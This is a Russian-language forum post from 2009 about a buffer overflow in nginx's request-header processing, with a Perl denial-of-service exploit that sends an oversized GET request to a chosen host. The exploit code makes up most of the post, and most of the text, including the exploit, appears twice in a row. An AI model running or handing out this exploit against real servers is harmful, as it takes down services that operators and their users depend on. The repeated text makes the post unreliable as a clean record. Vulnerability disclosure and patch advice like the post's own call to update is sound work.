Root-access
30.11.2009, 21:39
Вроде на ачате до сих пор не выложили тему об этой нашумевшей уязвимости в nginx.
Опубликована где-то в сентябре.
Это переполнение буфера в функции ngx_http_process_request_headers().
Эксплойта с выполнением произвольного кода пока нет, возможна лишь атака на отказ в обслуживании поэтому выкладываю в этот раздел.
Тем, кто не любит обновляться, надо это сделать скорее.
Уязвимы версии до 0.7.62, 0.6.39 и 0.5.38
Эксплойт:
#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 0) {
print "Usage: ./nginx.pl <hostname>\n";
exit;}
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');
$mysize = 4079;
$mymsg = "o" x $mysize;
print $sock "GET /$mymsg HTTP/1.1\r\n\r\n";
while(<$sock>) {
print;
}
Как видите, отправляется банальный get-запрос с 4079 байтами мусора.
Опубликована где-то в сентябре.
Это переполнение буфера в функции ngx_http_process_request_headers().
Эксплойта с выполнением произвольного кода пока нет, возможна лишь атака на отказ в обслуживании поэтому выкладываю в этот раздел.
Тем, кто не любит обновляться, надо это сделать скорее.
Уязвимы версии до 0.7.62, 0.6.39 и 0.5.38
Эксплойт:
#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 0) {
print "Usage: ./nginx.pl <hostname>\n";
exit;}
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');
$mysize = 4079;
$mymsg = "o" x $mysize;
print $sock "GET /$mymsg HTTP/1.1\r\n\r\n";
while(<$sock>) {
print;
}
Как видите, отправляется банальный get-запрос с 4079 байтами мусора.